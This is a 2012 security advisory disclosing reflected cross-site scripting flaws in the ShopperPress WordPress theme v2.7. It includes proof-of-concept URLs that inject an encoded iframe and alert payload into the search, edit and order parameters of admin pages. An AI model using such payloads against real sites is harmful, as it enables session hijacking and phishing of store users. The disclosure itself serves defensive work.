ShopperPress WordPress Theme 2.7 Cross Site Scripting

`Title:  
======  
ShopperPress v2.7 Wordpress - Cross Site Vulnerabilities  
  
  
Date:  
=====  
2012-08-02  
  
  
References:  
===========  
http://www.vulnerability-lab.com/get_content.php?id=670  
  
  
VL-ID:  
=====  
670  
  
  
Common Vulnerability Scoring System:  
====================================  
2.4  
  
  
Introduction:  
=============  
ShopperPress is a Premium Wordpress theme with addon that transform Wordpress into a fully functionality online   
store with shopping cart functionality. ShopperPress is the ideal solution for anyone who wants to sell products   
& services, digital downloads or affiliate products online, you can even setup a catalog website. ShopperPress has   
been designed and tested to make setup and store management easy. Suitable for users of all levels, ShopperPress   
makes running an online store enjoyable whilst giving you all the professional tools required.ShopperPress has been   
optimized for search engines helping your store quickly rank high in all major search engines.You can also add-on   
Wordpress SEO plugins to help you customize meta tags and page titles. ShopperPress can create online stores,   
affiliate stores and even catalog websites. Every copy of ShopperPress includes Amazon, Ebay and CSV import tools,   
20+ payment gateways, 20+ store designs, shipping, tax, promotions, coupons, emails and lots more! ShopperPress   
includes 20+ different payment gateways allowing you to choose how your visitors pay for your products/services.   
We have integration for Paypal (standard and Pro), 2Checkout, Worldpay, eWay, Google Checkout, Authorize.net and   
lots more Built into ShopperPress are 20+ different store designs to choose from, all included free! Customizing   
your theme is quick and easy using the on/off display options found in the admin area with full support for   
plugins & widgets. ShopperPress has a built in order management system allowing you to manage your orders. You   
can easily view your order history, export to CSV, view product, billing and shipping details as well as print   
off customer invoices. With ShopperPress you can create custom product options such as colors and sizes. You   
can create up to 6 different product values which will be passed with the product to checkout as well as allow   
members to upload files. [24/7 Customer Support]We work hard to ensure our customers are 100% satisfied with our   
product which is why we offer a 24/7 customer support services.  
  
(Copy of the Vendor Website: http://shopperpress.com )  
  
  
Abstract:  
=========  
The Vulnerability Laboratory Research Team discovered multiple cross site vulnerabilities in the Shopperpress Premium Wordpress Theme and Addon v2.7.  
  
  
Report-Timeline:  
================  
2012-08-02: Public Disclosure  
  
  
  
Status:  
========  
Published  
  
  
Exploitation-Technique:  
=======================  
Remote  
  
  
Severity:  
=========  
Medium  
  
  
Details:  
========  
Multiple non persistent cross site scripting vulnerabilities are detected in the Shopperpress Premium Wordpress Theme and Addon v2.7.  
The vulnerability allows remote attackers to hijack website customer, moderator or admin sessions with medium or high required user inter   
action. The bugs are located on client side in the search and edit module with the bound vulnerable id, search or order parameters.   
Successful exploitation can result in wordpress application account steal, client side phishing & client-side content request manipulation.   
Exploitation requires medium or high user inter action & without privileged web application user account.  
  
Vulnerable Module(s):  
[+] Search  
[+] Page&Edit  
  
Vulnerable Parameter(s):  
[+] search  
[+] id  
[+] order  
  
  
Proof of Concept:  
=================  
The non persistent cross site scripting vulnerabilities can be exploited by remote attackers with medium or high required user inter action   
and without privileged user account. For demonstration or reproduce ...  
  
PoC:  
http://shopperpress.127.0.0.1:38/wp-admin/admin.php  
?page=images&p=0&search=%22%3E%3Ciframe+src%3Dhttp%3A%2F%2Fvuln-lab.com+width%3D800+height%3D800onload%3Dalert%28%22VLAB%22%29+%3C  
  
http://shopperpress.127.0.0.1:38/wp-admin/admin.php  
?page=emails&edit=%22%3E%3Ciframe+src%3Dhttp%3A%2F%2Fvuln-lab.com+width%3D800+height%3D800onload%3Dalert%28%22VLAB%22%29+%3C  
  
http://shopperpress.127.0.0.1:38/wp-admin/admin.php  
?page=members&edit&order=0%22%3E%3Ciframe+src%3Dhttp%3A%2F%2Fvuln-lab.com+width%3D800+height%3D800onload%3Dalert%28%22VLAB%22%29+%3C  
  
  
Review: File Manager  
  
<fieldset style="padding:0px;">  
<h2 style="float:left; padding-left:5px;">"><[CLIENT SIDE MALICIOUS SCRIPT CODE])" width="800">  
<form method="get" name="SearchForm" action="admin.php"   
style="padding:5px; float:right;">  
<input type="hidden" name="page" value="images" />  
<input type="hidden" name="p" value="0" />  
<input name="search" type="text" class="ppt-forminput"   
id="search">  
<input type="submit" style="font-size:16px; background:#efefef;   
color:#666;padding:5px;" value="Search Files">  
</form>  
<div class="clearfix"></div>  
<form class="plain" method="post" name="orderform" id="orderform">  
<input type="hidden" name="deleteimages" value="1">  
  
  
Review: Member Add/Edit Listing  
  
<ul>  
<li><a rel="premiumpress_tab1" href="#" class="active">Details</a></li>  
<li><a href="#" onclick="window.location.href='admin.php  
?page=orders&cid=5"><[CLIENT SIDE MALICIOUS SCRIPT CODE])"   
width="800">Order History</a></li>  
<!--<li><a href="admin.php?page=members">Search Results</a></li>-->  
</ul>  
</div>  
<div id="videobox1"></div>  
<form method="post" target="_self" enctype="multipart/form-data">  
<input name="action" type="hidden" value="edit" />  
<input name="userdata[ID]" type="hidden" value="5"><[CLIENT SIDE MALICIOUS SCRIPT CODE]") <" />  
<input type="hidden" value="" name="showThisTab" id="showThisTab" />  
<div id="premiumpress_tab1" class="content">  
  
  
Review: EMail Add/Edit  
  
<div id="premiumpress_tab1" class="content">  
<form class="fields" method="post" target="_self" enctype="multipart/form-data">  
<input name="action" value="edit" type="hidden">  
<input name="ID" value=""   
type="hidden"><[CLIENT SIDE MALICIOUS SCRIPT CODE];)" width="800">  
<input type="hidden" name="form[email_type]" value="email" />  
<fieldset>  
<div class="titleh"><h3>Email Options</h3></div>  
  
  
Solution:  
=========  
The vulnerability can be patched by parsing the orders, id & search web application parameters.  
  
  
Risk:  
=====  
The security risk of the non persistent cross site scripting vulnerabilities are estimated as medium(-).  
  
  
Credits:  
========  
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri ([email protected])  
  
  
Disclaimer:  
===========  
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--   
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`